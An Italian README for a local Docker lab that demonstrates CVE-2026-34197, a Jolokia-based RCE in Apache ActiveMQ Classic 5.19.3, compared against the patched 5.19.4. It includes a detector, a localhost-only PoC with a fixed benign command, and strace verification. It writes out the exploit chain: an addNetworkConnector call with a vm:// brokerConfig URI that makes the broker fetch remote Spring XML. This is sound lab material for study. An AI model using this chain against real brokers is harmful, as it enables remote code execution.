
# Docker lab che dimostra CVE-2026-34197, una RCE di Apache ActiveMQ Classic tramite Jolokia. Include un rilevatore sicuro e una PoC solo locale con comando fisso, confrontando le versioni vulnerabile e corretta.
Questo repository è un lab Docker locale per studiare CVE-2026-34197, un problema di esecuzione remota di codice in Apache ActiveMQ Classic raggiungibile tramite l'API Jolokia JMX-HTTP.
Il lab confronta due istanze di ActiveMQ Classic affiancate:
| Servizio | Versione | Scopo | URL |
|---|
vuln | 5.19.3 | Target vulnerabile | http://127.0.0.1:8081 |
patched | 5.19.4 | Target di confronto corretto | http://127.0.0.1:8082 |
Il repository contiene due script di prova:
| Script | Scopo | Modello di sicurezza |
|---|---|---|
poc/detect.py | Rilevatore autorizzato | Solo HTTP; non sfrutta |
poc/poc.py | Prova del percorso RCE solo locale | Comando fisso: id; whoami; sleep 5 |
L'evidenza dell'esecuzione viene verificata separatamente dall'operatore utilizzando strumenti di osservazione dei processi come strace.
CVE-2026-34197 colpisce le versioni di Apache ActiveMQ Classic in cui un utente autenticato può utilizzare l'API Jolokia per invocare operazioni di gestione del broker e causare il caricamento da parte della JVM del broker di Spring XML controllato dall'attaccante tramite un URI brokerConfig=xbean:http://... appositamente costruito.
Il flusso vulnerabile dimostrato in questo lab è:
Jolokia /api/jolokia/
-> Operazione MBean del broker
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> recupero remoto di Spring XML
-> inizializzazione del bean ProcessBuilder
-> comando di prova locale fisso
Il servizio corretto blocca questo percorso prima del recupero dell'XML e restituisce un errore simile a:
VM scheme is not allowed
.
├── docker-compose.yml
├── vuln
│ └── Dockerfile
├── patched
│ └── Dockerfile
├── poc
│ ├── detect.py
│ └── poc.py
├── images
│ └── strace.png
├── README.md
└── .gitignore
docker-compose.yml esegue i servizi ActiveMQ vulnerabile e corretto.vuln/Dockerfile compila Apache ActiveMQ Classic 5.19.3.patched/Dockerfile compila Apache ActiveMQ Classic 5.19.4.poc/detect.py verifica l'esposizione di Jolokia, la versione di ActiveMQ e la visibilità del Broker MBean.poc/poc.py attiva il percorso RCE solo locale utilizzando un comando benigno fisso.images/strace.png contiene l'evidenza locale di osservazione dei processi dal servizio vulnerabile..gitignore esclude artefatti locali, file cache Python, ambienti virtuali, log e segreti.Questo repository è destinato esclusivamente all'uso in lab locale e alla validazione di sicurezza autorizzata.
Il PoC è deliberatamente limitato:
id; whoami; sleep 5.strace.Target locali consentiti per poc.py:
127.0.0.1
localhost
::1
Non utilizzare questo repository contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.
docker compose down -v
docker compose build
docker compose up -d
Verifica lo stato dei servizi:
docker compose ps
Servizi attesi:
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
Controlla il servizio vulnerabile:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
Controlla il servizio corretto:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
Versioni attese:
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
poc/detect.py è lo script predefinito sicuro. Non sfrutta il target.
Verifica:
/api/jolokia/version è accessibile;python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
Risultato atteso:
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
Il rilevatore segna un target come LIKELY_VULNERABLE quando:
Jolokia è accessibile
+
La versione di ActiveMQ rientra in un intervallo interessato
Intervalli interessati utilizzati da questo lab:
5.x < 5.19.4
6.x < 6.2.3
La visibilità del Broker MBean viene utilizzata come evidenza di confidenza perché il percorso di sfruttamento si basa sulle operazioni di gestione del broker.
Il rilevatore non dichiara CONFIRMED_RCE.
poc/poc.py dimostra il percorso RCE nel lab Docker locale.
Avvia un server HTTP temporaneo sull'host e serve un payload Spring XML in un percorso univoco per ogni esecuzione:
/evil-<nonce>.xml
Successivamente invoca il Broker MBean di ActiveMQ tramite Jolokia:
addNetworkConnector(java.lang.String)
con un URI di discovery appositamente costruito:
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)
Il broker vulnerabile recupera questo XML. Il broker corretto blocca lo schema di trasporto vm:// prima del recupero dell'XML.
Dopo un'esecuzione vulnerabile, il NetworkConnector creato potrebbe ritentare il recupero del vecchio percorso XML. Lo script utilizza un nonce per esecuzione e tiene traccia di matches_current_run per evitare falsi positivi.
Un hit viene conteggiato come esecuzione corrente solo se corrisponde a:
/evil-<current-nonce>.xml
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
Output atteso:
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true
Questo conferma che ActiveMQ 5.19.3 può essere indotto a recuperare Spring XML controllato dall'attaccante tramite il percorso del broker gestito da Jolokia.
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
Output atteso:
VM scheme is not allowed
[-] No XML fetch observed for this run.
Se compaiono hit da una precedente esecuzione vulnerabile, dovrebbero mostrare:
"matches_current_run": false
Questi non vengono conteggiati come successo del servizio corretto.
Lo script PoC non raccoglie l'output dei comandi. Per confermare l'esecuzione dei comandi, osserva la creazione dei processi all'interno del container vulnerabile.
Entra nel container vulnerabile come root:
docker exec -it --user root cve-2026-34197-vuln bash
Trova il processo Java:
pgrep -af java
Collega strace al PID Java:
strace -f -e execve -p <JAVA_PID>
In un altro terminale, esegui il PoC contro il servizio vulnerabile:
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
Evidenza strace attesa:
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)
Questa è l'evidenza a livello di sistema operativo che il comando di prova fisso è stato eseguito dalla JVM del broker.

Il PoC tenta di rimuovere il nome predefinito del NetworkConnector NC prima dell'attivazione. Questo mantiene prevedibili le esecuzioni ripetute del lab.
Pulizia manuale:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
-H 'Content-Type: application/json' \
-X POST \
http://127.0.0.1:8081/api/jolokia/ \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}' | python3 -m json.tool
Oppure riavvia il lab:
docker compose restart vuln patched
| Test | Vulnerabile 5.19.3 | Corretto 5.19.4 |
|---|---|---|
detect.py | LIKELY_VULNERABLE | NOT_AFFECTED_BY_VERSION |
| Accesso Jolokia | Accessibile con auth | Accessibile con auth |
| Broker MBean | Visibile | Visibile |
Recupero XML poc.py | Sì | No |
| Firma del blocco corretto | N/D | VM scheme is not allowed |
| Evidenza comando strace | /bin/sh -c 'id; whoami; sleep 5' | Non attesa |